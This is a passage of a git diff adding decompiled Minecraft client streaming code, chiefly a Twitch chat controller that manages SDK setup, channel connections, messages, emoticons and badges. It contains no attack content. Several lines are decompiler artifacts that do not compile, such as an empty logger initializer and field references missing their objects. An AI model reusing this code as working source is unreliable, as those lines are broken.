+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.ReceivedIngestServers.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Starting.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Stopping.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.FindingIngestServer.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Authenticating.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Initialized.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Uninitialized.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.IngestTesting.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Paused.ordinal()] = 11;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Broadcasting.ordinal()] = 12;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+    }
+    
+    SwitchBroadcastState() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/ChatController.java b/src/minecraft/net/minecraft/client/stream/ChatController.java
new file mode 100644
index 0000000..3539c17
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/ChatController.java
@@ -0,0 +1,1065 @@
+package net.minecraft.client.stream;
+
+import com.google.common.collect.Lists;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.ListIterator;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import tv.twitch.AuthToken;
+import tv.twitch.Core;
+import tv.twitch.ErrorCode;
+import tv.twitch.StandardCoreAPI;
+import tv.twitch.chat.Chat;
+import tv.twitch.chat.ChatBadgeData;
+import tv.twitch.chat.ChatChannelInfo;
+import tv.twitch.chat.ChatEmoticonData;
+import tv.twitch.chat.ChatEvent;
+import tv.twitch.chat.ChatRawMessage;
+import tv.twitch.chat.ChatTokenizationOption;
+import tv.twitch.chat.ChatTokenizedMessage;
+import tv.twitch.chat.ChatUserInfo;
+import tv.twitch.chat.IChatAPIListener;
+import tv.twitch.chat.IChatChannelListener;
+import tv.twitch.chat.StandardChatAPI;
+
+public class ChatController
+{
+  private static final Logger LOGGER = ;
+  protected ChatListener field_153003_a = null;
+  protected String field_153004_b = "";
+  protected String field_153006_d = "";
+  protected String field_153007_e = "";
+  protected Core field_175992_e = null;
+  protected Chat field_153008_f = null;
+  protected ChatState field_153011_i;
+  protected AuthToken field_153012_j;
+  protected HashMap field_175998_i;
+  protected int field_153015_m;
+  protected EnumEmoticonMode field_175997_k;
+  protected EnumEmoticonMode field_175995_l;
+  protected ChatEmoticonData field_175996_m;
+  protected int field_175993_n;
+  protected int field_175994_o;
+  protected IChatAPIListener field_175999_p;
+  private static final String __OBFID = "CL_00001819";
+  
+  public void func_152990_a(ChatListener p_152990_1_)
+  {
+    field_153003_a = p_152990_1_;
+  }
+  
+  public void func_152994_a(AuthToken p_152994_1_)
+  {
+    field_153012_j = p_152994_1_;
+  }
+  
+  public void func_152984_a(String p_152984_1_)
+  {
+    field_153006_d = p_152984_1_;
+  }
+  
+  public void func_152998_c(String p_152998_1_)
+  {
+    field_153004_b = p_152998_1_;
+  }
+  
+  public ChatState func_153000_j()
+  {
+    return field_153011_i;
+  }
+  
+  public boolean func_175990_d(String p_175990_1_)
+  {
+    if (!field_175998_i.containsKey(p_175990_1_))
+    {
+      return false;
+    }
+    
+
+    ChatChannelListener var2 = (ChatChannelListener)field_175998_i.get(p_175990_1_);
+    return var2.func_176040_a() == EnumChannelState.Connected;
+  }
+  
+
+  public EnumChannelState func_175989_e(String p_175989_1_)
+  {
+    if (!field_175998_i.containsKey(p_175989_1_))
+    {
+      return EnumChannelState.Disconnected;
+    }
+    
+
+    ChatChannelListener var2 = (ChatChannelListener)field_175998_i.get(p_175989_1_);
+    return var2.func_176040_a();
+  }
+  
+
+  public ChatController()
+  {
+    field_153011_i = ChatState.Uninitialized;
+    field_153012_j = new AuthToken();
+    field_175998_i = new HashMap();
+    field_153015_m = 128;
+    field_175997_k = EnumEmoticonMode.None;
+    field_175995_l = EnumEmoticonMode.None;
+    field_175996_m = null;
+    field_175993_n = 500;
+    field_175994_o = 2000;
+    field_175999_p = new IChatAPIListener()
+    {
+      private static final String __OBFID = "CL_00002373";
+      
+      public void chatInitializationCallback(ErrorCode p_chatInitializationCallback_1_) {
+        if (ErrorCode.succeeded(p_chatInitializationCallback_1_))
+        {
+          field_153008_f.setMessageFlushInterval(field_175993_n);
+          field_153008_f.setUserChangeEventInterval(field_175994_o);
+          func_153001_r();
+          func_175985_a(ChatController.ChatState.Initialized);
+        }
+        else
+        {
+          func_175985_a(ChatController.ChatState.Uninitialized);
+        }
+        
+        try
+        {
+          if (field_153003_a != null)
+          {
+            field_153003_a.func_176023_d(p_chatInitializationCallback_1_);
+          }
+        }
+        catch (Exception var3)
+        {
+          func_152995_h(var3.toString());
+        }
+      }
+      
+      public void chatShutdownCallback(ErrorCode p_chatShutdownCallback_1_) {
+        if (ErrorCode.succeeded(p_chatShutdownCallback_1_))
+        {
+          ErrorCode var2 = field_175992_e.shutdown();
+          
+          if (ErrorCode.failed(var2))
+          {
+            String var3 = ErrorCode.getString(var2);
+            func_152995_h(String.format("Error shutting down the Twitch sdk: %s", new Object[] { var3 }));
+          }
+          
+          func_175985_a(ChatController.ChatState.Uninitialized);
+        }
+        else
+        {
+          func_175985_a(ChatController.ChatState.Initialized);
+          func_152995_h(String.format("Error shutting down Twith chat: %s", new Object[] { p_chatShutdownCallback_1_ }));
+        }
+        
+        try
+        {
+          if (field_153003_a != null)
+          {
+            field_153003_a.func_176022_e(p_chatShutdownCallback_1_);
+          }
+        }
+        catch (Exception var4)
+        {
+          func_152995_h(var4.toString());
+        }
+      }
+      
+      public void chatEmoticonDataDownloadCallback(ErrorCode p_chatEmoticonDataDownloadCallback_1_) {
+        if (ErrorCode.succeeded(p_chatEmoticonDataDownloadCallback_1_))
+        {
+          func_152988_s();
+        }
+      }
+    };
+    field_175992_e = Core.getInstance();
+    
+    if (field_175992_e == null)
+    {
+      field_175992_e = new Core(new StandardCoreAPI());
+    }
+    
+    field_153008_f = new Chat(new StandardChatAPI());
+  }
+  
+  public boolean func_175984_n()
+  {
+    if (field_153011_i != ChatState.Uninitialized)
+    {
+      return false;
+    }
+    
+
+    func_175985_a(ChatState.Initializing);
+    ErrorCode var1 = field_175992_e.initialize(field_153006_d, null);
+    
+    if (ErrorCode.failed(var1))
+    {
+      func_175985_a(ChatState.Uninitialized);
+      String var4 = ErrorCode.getString(var1);
+      func_152995_h(String.format("Error initializing Twitch sdk: %s", new Object[] { var4 }));
+      return false;
+    }
+    
+
+    field_175995_l = field_175997_k;
+    HashSet var2 = new HashSet();
+    
+    switch (SwitchEnumEmoticonMode.field_175975_c[field_175997_k.ordinal()])
+    {
+    case 1: 
+      var2.add(ChatTokenizationOption.TTV_CHAT_TOKENIZATION_OPTION_NONE);
+      break;
+    
+    case 2: 
+      var2.add(ChatTokenizationOption.TTV_CHAT_TOKENIZATION_OPTION_EMOTICON_URLS);
+      break;
+    
+    case 3: 
+      var2.add(ChatTokenizationOption.TTV_CHAT_TOKENIZATION_OPTION_EMOTICON_TEXTURES);
+    }
+    
+    var1 = field_153008_f.initialize(var2, field_175999_p);
+    
+    if (ErrorCode.failed(var1))
+    {
+      field_175992_e.shutdown();
+      func_175985_a(ChatState.Uninitialized);
+      String var3 = ErrorCode.getString(var1);
+      func_152995_h(String.format("Error initializing Twitch chat: %s", new Object[] { var3 }));
+      return false;
+    }
+    
+
+    func_175985_a(ChatState.Initialized);
+    return true;
+  }
+  
+
+
+
+  public boolean func_152986_d(String p_152986_1_)
+  {
+    return func_175987_a(p_152986_1_, false);
+  }
+  
+  protected boolean func_175987_a(String p_175987_1_, boolean p_175987_2_)
+  {
+    if (field_153011_i != ChatState.Initialized)
+    {
+      return false;
+    }
+    if (field_175998_i.containsKey(p_175987_1_))
+    {
+      func_152995_h("Already in channel: " + p_175987_1_);
+      return false;
+    }
+    if ((p_175987_1_ != null) && (!p_175987_1_.equals("")))
+    {
+      ChatChannelListener var3 = new ChatChannelListener(p_175987_1_);
+      field_175998_i.put(p_175987_1_, var3);
+      boolean var4 = var3.func_176038_a(p_175987_2_);
+      
+      if (!var4)
+      {
+        field_175998_i.remove(p_175987_1_);
+      }
+      
+      return var4;
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean func_175991_l(String p_175991_1_)
+  {
+    if (field_153011_i != ChatState.Initialized)
+    {
+      return false;
+    }
+    if (!field_175998_i.containsKey(p_175991_1_))
+    {
+      func_152995_h("Not in channel: " + p_175991_1_);
+      return false;
+    }
+    
+
+    ChatChannelListener var2 = (ChatChannelListener)field_175998_i.get(p_175991_1_);
+    return var2.func_176034_g();
+  }
+  
+
+  public boolean func_152993_m()
+  {
+    if (field_153011_i != ChatState.Initialized)
+    {
+      return false;
+    }
+    
+
+    ErrorCode var1 = field_153008_f.shutdown();
+    
+    if (ErrorCode.failed(var1))
+    {
+      String var2 = ErrorCode.getString(var1);
+      func_152995_h(String.format("Error shutting down chat: %s", new Object[] { var2 }));
+      return false;
+    }
+    
+
+    func_152996_t();
+    func_175985_a(ChatState.ShuttingDown);
+    return true;
+  }
+  
+
+
+  public void func_175988_p()
+  {
+    if (func_153000_j() != ChatState.Uninitialized)
+    {
+      func_152993_m();
+      
+      if (func_153000_j() == ChatState.ShuttingDown)
+      {
+        while (func_153000_j() != ChatState.Uninitialized)
+        {
+          try
+          {
+            Thread.sleep(200L);
+            func_152997_n();
+          }
+          catch (InterruptedException localInterruptedException) {}
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void func_152997_n()
+  {
+    if (field_153011_i != ChatState.Uninitialized)
+    {
+      ErrorCode var1 = field_153008_f.flushEvents();
+      
+      if (ErrorCode.failed(var1))
+      {
+        String var2 = ErrorCode.getString(var1);
+        func_152995_h(String.format("Error flushing chat events: %s", new Object[] { var2 }));
+      }
+    }
+  }
+  
+  public boolean func_175986_a(String p_175986_1_, String p_175986_2_)
+  {
+    if (field_153011_i != ChatState.Initialized)
+    {
+      return false;
+    }
+    if (!field_175998_i.containsKey(p_175986_1_))
+    {
+      func_152995_h("Not in channel: " + p_175986_1_);
+      return false;
+    }
+    
+
+    ChatChannelListener var3 = (ChatChannelListener)field_175998_i.get(p_175986_1_);
+    return var3.func_176037_b(p_175986_2_);
+  }
+  
+
+  protected void func_175985_a(ChatState p_175985_1_)
+  {
+    if (p_175985_1_ != field_153011_i)
+    {
+      field_153011_i = p_175985_1_;
+      
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_176017_a(p_175985_1_);
+        }
+      }
+      catch (Exception var3)
+      {
+        func_152995_h(var3.toString());
+      }
+    }
+  }
+  
+  protected void func_153001_r()
+  {
+    if (field_175995_l != EnumEmoticonMode.None)
+    {
+      if (field_175996_m == null)
+      {
+        ErrorCode var1 = field_153008_f.downloadEmoticonData();
+        
+        if (ErrorCode.failed(var1))
+        {
+          String var2 = ErrorCode.getString(var1);
+          func_152995_h(String.format("Error trying to download emoticon data: %s", new Object[] { var2 }));
+        }
+      }
+    }
+  }
+  
+  protected void func_152988_s()
+  {
+    if (field_175996_m == null)
+    {
+      field_175996_m = new ChatEmoticonData();
+      ErrorCode var1 = field_153008_f.getEmoticonData(field_175996_m);
+      
+      if (ErrorCode.succeeded(var1))
+      {
+        try
+        {
+          if (field_153003_a == null)
+            return;
+          field_153003_a.func_176021_d();
+
+        }
+        catch (Exception var3)
+        {
+          func_152995_h(var3.toString());
+        }
+        
+      }
+      else {
+        func_152995_h("Error preparing emoticon data: " + ErrorCode.getString(var1));
+      }
+    }
+  }
+  
+  protected void func_152996_t()
+  {
+    if (field_175996_m != null)
+    {
+      ErrorCode var1 = field_153008_f.clearEmoticonData();
+      
+      if (ErrorCode.succeeded(var1))
+      {
+        field_175996_m = null;
+        
+        try
+        {
+          if (field_153003_a == null)
+            return;
+          field_153003_a.func_176024_e();
+
+        }
+        catch (Exception var3)
+        {
+          func_152995_h(var3.toString());
+        }
+      }
+      else
+      {
+        func_152995_h("Error clearing emoticon data: " + ErrorCode.getString(var1));
+      }
+    }
+  }
+  
+  protected void func_152995_h(String p_152995_1_)
+  {
+    LOGGER.error(TwitchStream.field_152949_a, "[Chat controller] {}", new Object[] { p_152995_1_ });
+  }
+  
+  public class ChatChannelListener implements IChatChannelListener
+  {
+    protected String field_176048_a = null;
+    protected boolean field_176046_b = false;
+    protected ChatController.EnumChannelState field_176047_c;
+    protected List field_176044_d;
+    protected LinkedList field_176045_e;
+    protected LinkedList field_176042_f;
+    protected ChatBadgeData field_176043_g;
+    private static final String __OBFID = "CL_00002370";
+    
+    public ChatChannelListener(String p_i46061_2_)
+    {
+      field_176047_c = ChatController.EnumChannelState.Created;
+      field_176044_d = Lists.newArrayList();
+      field_176045_e = new LinkedList();
+      field_176042_f = new LinkedList();
+      field_176043_g = null;
+      field_176048_a = p_i46061_2_;
+    }
+    
+    public ChatController.EnumChannelState func_176040_a()
+    {
+      return field_176047_c;
+    }
+    
+    public boolean func_176038_a(boolean p_176038_1_)
+    {
+      field_176046_b = p_176038_1_;
+      ErrorCode var2 = ErrorCode.TTV_EC_SUCCESS;
+      
+      if (p_176038_1_)
+      {
+        var2 = field_153008_f.connectAnonymous(field_176048_a, this);
+      }
+      else
+      {
+        var2 = field_153008_f.connect(field_176048_a, field_153004_b, field_153012_j.data, this);
+      }
+      
+      if (ErrorCode.failed(var2))
+      {
+        String var3 = ErrorCode.getString(var2);
+        func_152995_h(String.format("Error connecting: %s", new Object[] { var3 }));
+        func_176036_d(field_176048_a);
+        return false;
+      }
+      
+
+      func_176035_a(ChatController.EnumChannelState.Connecting);
+      func_176041_h();
+      return true;
+    }
+    
+
+    public boolean func_176034_g()
+    {
+      switch (ChatController.SwitchEnumEmoticonMode.field_175976_a[field_176047_c.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        ErrorCode var1 = field_153008_f.disconnect(field_176048_a);
+        
+        if (ErrorCode.failed(var1))
+        {
+          String var2 = ErrorCode.getString(var1);
+          func_152995_h(String.format("Error disconnecting: %s", new Object[] { var2 }));
+          return false;
+        }
+        
+        func_176035_a(ChatController.EnumChannelState.Disconnecting);
+        return true;
+      }
+      
+      
+
+
+      return false;
+    }
+    
+
+    protected void func_176035_a(ChatController.EnumChannelState p_176035_1_)
+    {
+      if (p_176035_1_ != field_176047_c)
+      {
+        field_176047_c = p_176035_1_;
+      }
+    }
+    
+    public void func_176032_a(String p_176032_1_)
+    {
+      if (field_175995_l == ChatController.EnumEmoticonMode.None)
+      {
+        field_176045_e.clear();
+        field_176042_f.clear();
+
+      }
+      else
+      {
+
+        if (field_176045_e.size() > 0)
+        {
+          ListIterator var2 = field_176045_e.listIterator();
+          
+          while (var2.hasNext())
+          {
+            ChatRawMessage var3 = (ChatRawMessage)var2.next();
+            
+            if (userName.equals(p_176032_1_))
+            {
+              var2.remove();
+            }
+          }
+        }
+        
+        if (field_176042_f.size() > 0)
+        {
+          ListIterator var2 = field_176042_f.listIterator();
+          
+          while (var2.hasNext())
+          {
+            ChatTokenizedMessage var5 = (ChatTokenizedMessage)var2.next();
+            
+            if (displayName.equals(p_176032_1_))
+            {
+              var2.remove();
+            }
+          }
+        }
+      }
+      
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_176019_a(field_176048_a, p_176032_1_);
+        }
+      }
+      catch (Exception var4)
+      {
+        func_152995_h(var4.toString());
+      }
+    }
+    
+    public boolean func_176037_b(String p_176037_1_)
+    {
+      if (field_176047_c != ChatController.EnumChannelState.Connected)
+      {
+        return false;
+      }
+      
+
+      ErrorCode var2 = field_153008_f.sendMessage(field_176048_a, p_176037_1_);
+      
+      if (ErrorCode.failed(var2))
+      {
+        String var3 = ErrorCode.getString(var2);
+        func_152995_h(String.format("Error sending chat message: %s", new Object[] { var3 }));
+        return false;
+      }
+      
+
+      return true;
+    }
+    
+
+
+    protected void func_176041_h()
+    {
+      if (field_175995_l != ChatController.EnumEmoticonMode.None)
+      {
+        if (field_176043_g == null)
+        {
+          ErrorCode var1 = field_153008_f.downloadBadgeData(field_176048_a);
+          
+          if (ErrorCode.failed(var1))
+          {
+            String var2 = ErrorCode.getString(var1);
+            func_152995_h(String.format("Error trying to download badge data: %s", new Object[] { var2 }));
+          }
+        }
+      }
+    }
+    
+    protected void func_176039_i()
+    {
+      if (field_176043_g == null)
+      {
+        field_176043_g = new ChatBadgeData();
+        ErrorCode var1 = field_153008_f.getBadgeData(field_176048_a, field_176043_g);
+        
+        if (ErrorCode.succeeded(var1))
+        {
+          try
+          {
+            if (field_153003_a == null)
+              return;
+            field_153003_a.func_176016_c(field_176048_a);
+
+          }
+          catch (Exception var3)
+          {
+            func_152995_h(var3.toString());
+          }
+          
+        }
+        else {
+          func_152995_h("Error preparing badge data: " + ErrorCode.getString(var1));
+        }
+      }
+    }
+    
+    protected void func_176033_j()
+    {
+      if (field_176043_g != null)
+      {
+        ErrorCode var1 = field_153008_f.clearBadgeData(field_176048_a);
+        
+        if (ErrorCode.succeeded(var1))
+        {
+          field_176043_g = null;
+          
+          try
+          {
+            if (field_153003_a == null)
+              return;
+            field_153003_a.func_176020_d(field_176048_a);
+
+          }
+          catch (Exception var3)
+          {
+            func_152995_h(var3.toString());
+          }
+        }
+        else
+        {
+          func_152995_h("Error releasing badge data: " + ErrorCode.getString(var1));
+        }
+      }
+    }
+    
+    protected void func_176031_c(String p_176031_1_)
+    {
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_180606_a(p_176031_1_);
+        }
+      }
+      catch (Exception var3)
+      {
+        func_152995_h(var3.toString());
+      }
+    }
+    
+    protected void func_176036_d(String p_176036_1_)
+    {
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_180607_b(p_176036_1_);
+        }
+      }
+      catch (Exception var3)
+      {
+        func_152995_h(var3.toString());
+      }
+    }
+    
+    private void func_176030_k()
+    {
+      if (field_176047_c != ChatController.EnumChannelState.Disconnected)
+      {
+        func_176035_a(ChatController.EnumChannelState.Disconnected);
+        func_176036_d(field_176048_a);
+        func_176033_j();
+      }
+    }
+    
+    public void chatStatusCallback(String p_chatStatusCallback_1_, ErrorCode p_chatStatusCallback_2_)
+    {
+      if (!ErrorCode.succeeded(p_chatStatusCallback_2_))
+      {
+        field_175998_i.remove(p_chatStatusCallback_1_);
+        func_176030_k();
+      }
+    }
+    
+    public void chatChannelMembershipCallback(String p_chatChannelMembershipCallback_1_, ChatEvent p_chatChannelMembershipCallback_2_, ChatChannelInfo p_chatChannelMembershipCallback_3_)
+    {
+      switch (ChatController.SwitchEnumEmoticonMode.field_175974_b[p_chatChannelMembershipCallback_2_.ordinal()])
+      {
+      case 1: 
+        func_176035_a(ChatController.EnumChannelState.Connected);
+        func_176031_c(p_chatChannelMembershipCallback_1_);
+        break;
+      
+      case 2: 
+        func_176030_k();
+      }
+      
+    }
+    
+
+
+    public void chatChannelUserChangeCallback(String p_chatChannelUserChangeCallback_1_, ChatUserInfo[] p_chatChannelUserChangeCallback_2_, ChatUserInfo[] p_chatChannelUserChangeCallback_3_, ChatUserInfo[] p_chatChannelUserChangeCallback_4_)
+    {
+      for (int var5 = 0; var5 < p_chatChannelUserChangeCallback_3_.length; var5++)
+      {
+        int var6 = field_176044_d.indexOf(p_chatChannelUserChangeCallback_3_[var5]);
+        
+        if (var6 >= 0)
+        {
+          field_176044_d.remove(var6);
+        }
+      }
+      
+      for (var5 = 0; var5 < p_chatChannelUserChangeCallback_4_.length; var5++)
+      {
+        int var6 = field_176044_d.indexOf(p_chatChannelUserChangeCallback_4_[var5]);
+        
+        if (var6 >= 0)
+        {
+          field_176044_d.remove(var6);
+        }
+        
+        field_176044_d.add(p_chatChannelUserChangeCallback_4_[var5]);
+      }
+      
+      for (var5 = 0; var5 < p_chatChannelUserChangeCallback_2_.length; var5++)
+      {
+        field_176044_d.add(p_chatChannelUserChangeCallback_2_[var5]);
+      }
+      
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_176018_a(field_176048_a, p_chatChannelUserChangeCallback_2_, p_chatChannelUserChangeCallback_3_, p_chatChannelUserChangeCallback_4_);
+        }
+      }
+      catch (Exception var7)
+      {
+        func_152995_h(var7.toString());
+      }
+    }
+    
+    public void chatChannelRawMessageCallback(String p_chatChannelRawMessageCallback_1_, ChatRawMessage[] p_chatChannelRawMessageCallback_2_)
+    {
+      for (int var3 = 0; var3 < p_chatChannelRawMessageCallback_2_.length; var3++)
+      {
+        field_176045_e.addLast(p_chatChannelRawMessageCallback_2_[var3]);
+      }
+      
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_180605_a(field_176048_a, p_chatChannelRawMessageCallback_2_);
+        }
+      }
+      catch (Exception var4)
+      {
+        func_152995_h(var4.toString());
+      }
+      
+      while (field_176045_e.size() > field_153015_m)
+      {
+        field_176045_e.removeFirst();
+      }
+    }
+    
+    public void chatChannelTokenizedMessageCallback(String p_chatChannelTokenizedMessageCallback_1_, ChatTokenizedMessage[] p_chatChannelTokenizedMessageCallback_2_)
+    {
+      for (int var3 = 0; var3 < p_chatChannelTokenizedMessageCallback_2_.length; var3++)
+      {
+        field_176042_f.addLast(p_chatChannelTokenizedMessageCallback_2_[var3]);
+      }
+      
+      try
+      {
+        if (field_153003_a != null)
+        {
+          field_153003_a.func_176025_a(field_176048_a, p_chatChannelTokenizedMessageCallback_2_);
+        }
+      }
+      catch (Exception var4)
+      {
+        func_152995_h(var4.toString());
+      }
+      
+      while (field_176042_f.size() > field_153015_m)
+      {
+        field_176042_f.removeFirst();
+      }
+    }
+    
+    public void chatClearCallback(String p_chatClearCallback_1_, String p_chatClearCallback_2_)
+    {
+      func_176032_a(p_chatClearCallback_2_);
+    }
+    
+    public void chatBadgeDataDownloadCallback(String p_chatBadgeDataDownloadCallback_1_, ErrorCode p_chatBadgeDataDownloadCallback_2_)
+    {
+      if (ErrorCode.succeeded(p_chatBadgeDataDownloadCallback_2_))
+      {
+        func_176039_i();
+      }
+    }
+  }
+  
+  public static abstract interface ChatListener
+  {
+    public abstract void func_176023_d(ErrorCode paramErrorCode);
+    
+    public abstract void func_176022_e(ErrorCode paramErrorCode);
+    
+    public abstract void func_176021_d();
+    
+    public abstract void func_176024_e();
+    
+    public abstract void func_176017_a(ChatController.ChatState paramChatState);
+    
+    public abstract void func_176025_a(String paramString, ChatTokenizedMessage[] paramArrayOfChatTokenizedMessage);
+    
+    public abstract void func_180605_a(String paramString, ChatRawMessage[] paramArrayOfChatRawMessage);
+    
+    public abstract void func_176018_a(String paramString, ChatUserInfo[] paramArrayOfChatUserInfo1, ChatUserInfo[] paramArrayOfChatUserInfo2, ChatUserInfo[] paramArrayOfChatUserInfo3);
+    
+    public abstract void func_180606_a(String paramString);
+    
+    public abstract void func_180607_b(String paramString);
+    
+    public abstract void func_176019_a(String paramString1, String paramString2);
+    
+    public abstract void func_176016_c(String paramString);
+    
+    public abstract void func_176020_d(String paramString);
+  }
+  
+  public static enum ChatState
+  {
+    Uninitialized("Uninitialized", 0), 
+    Initializing("Initializing", 1), 
+    Initialized("Initialized", 2), 
+    ShuttingDown("ShuttingDown", 3);
+    
+    private static final ChatState[] $VALUES = { Uninitialized, Initializing, Initialized, ShuttingDown };
+    private static final String __OBFID = "CL_00001817";
+    
+    private ChatState(String stateName, int id) {}
+  }
+  
+  public static enum EnumChannelState
+  {
+    Created("Created", 0), 
+    Connecting("Connecting", 1), 
+    Connected("Connected", 2), 
+    Disconnecting("Disconnecting", 3), 
+    Disconnected("Disconnected", 4);
+    
+    private static final EnumChannelState[] $VALUES = { Created, Connecting, Connected, Disconnecting, Disconnected };
+    private static final String __OBFID = "CL_00002371";
+    
+    private EnumChannelState(String p_i46062_1_, int p_i46062_2_) {}
+  }
+  
+  public static enum EnumEmoticonMode
+  {
+    None("None", 0), 
+    Url("Url", 1), 
+    TextureAtlas("TextureAtlas", 2);
+    
+    private static final EnumEmoticonMode[] $VALUES = { None, Url, TextureAtlas };
+    
+    private static final String __OBFID = "CL_00002369";
+    
+
+    private EnumEmoticonMode(String p_i46060_1_, int p_i46060_2_) {}
+  }
+  
+  static final class SwitchEnumEmoticonMode
+  {
+    static final int[] field_175976_a;
+    static final int[] field_175974_b;
+    static final int[] field_175975_c = new int[ChatController.EnumEmoticonMode.values().length];
+    private static final String __OBFID = "CL_00002372";
+    
+    static
+    {
+      try
+      {
+        field_175975_c[ChatController.EnumEmoticonMode.None.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175975_c[ChatController.EnumEmoticonMode.Url.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175975_c[ChatController.EnumEmoticonMode.TextureAtlas.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      field_175974_b = new int[ChatEvent.values().length];
+      
+      try
+      {
+        field_175974_b[ChatEvent.TTV_CHAT_JOINED_CHANNEL.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_175974_b[ChatEvent.TTV_CHAT_LEFT_CHANNEL.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      field_175976_a = new int[ChatController.EnumChannelState.values().length];
+      
+      try
+      {
+        field_175976_a[ChatController.EnumChannelState.Connected.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_175976_a[ChatController.EnumChannelState.Connecting.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_175976_a[ChatController.EnumChannelState.Created.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_175976_a[ChatController.EnumChannelState.Disconnected.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_175976_a[ChatController.EnumChannelState.Disconnecting.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+    }
+    
+    SwitchEnumEmoticonMode() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/IStream.java b/src/minecraft/net/minecraft/client/stream/IStream.java
new file mode 100644
index 0000000..fc2b05e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/IStream.java
@@ -0,0 +1,82 @@
+package net.minecraft.client.stream;
+
+import tv.twitch.ErrorCode;
+import tv.twitch.broadcast.IngestServer;
+import tv.twitch.chat.ChatUserInfo;
+
+
+
+
+public abstract interface IStream
+{
+  public abstract void shutdownStream();
+  
+  public abstract void func_152935_j();
+  
+  public abstract void func_152922_k();
+  
+  public abstract boolean func_152936_l();
+  
+  public abstract boolean func_152924_m();
+  
+  public abstract boolean func_152934_n();
+  
+  public abstract void func_152911_a(Metadata paramMetadata, long paramLong);
+  
+  public abstract void func_176026_a(Metadata paramMetadata, long paramLong1, long paramLong2);
+  
+  public abstract boolean isPaused();
+  
+  public abstract void func_152931_p();
+  
+  public abstract void func_152916_q();
+  
+  public abstract void func_152933_r();
+  
+  public abstract void func_152915_s();
+  
+  public abstract void func_152930_t();
+  
+  public abstract void func_152914_u();
+  
+  public abstract IngestServer[] func_152925_v();
+  
+  public abstract void func_152909_x();
+  
+  public abstract IngestServerTester func_152932_y();
+  
+  public abstract boolean func_152908_z();
+  
+  public abstract int func_152920_A();
+  
+  public abstract boolean func_152927_B();
+  
+  public abstract String func_152921_C();
+  
+  public abstract ChatUserInfo func_152926_a(String paramString);
+  
+  public abstract void func_152917_b(String paramString);
+  
+  public abstract boolean func_152928_D();
+  
+  public abstract ErrorCode func_152912_E();
+  
+  public abstract boolean func_152913_F();
+  
+  public abstract void func_152910_a(boolean paramBoolean);
+  
+  public abstract boolean func_152929_G();
+  
+  public abstract AuthFailureReason func_152918_H();
+  
+  public static enum AuthFailureReason
+  {
+    ERROR("ERROR", 0), 
+    INVALID_TOKEN("INVALID_TOKEN", 1);
+    
+    private static final AuthFailureReason[] $VALUES = { ERROR, INVALID_TOKEN };
+    private static final String __OBFID = "CL_00001813";
+    
+    private AuthFailureReason(String p_i1014_1_, int p_i1014_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/IngestServerTester.java b/src/minecraft/net/minecraft/client/stream/IngestServerTester.java
new file mode 100644
index 0000000..86168d9
--- /dev/null
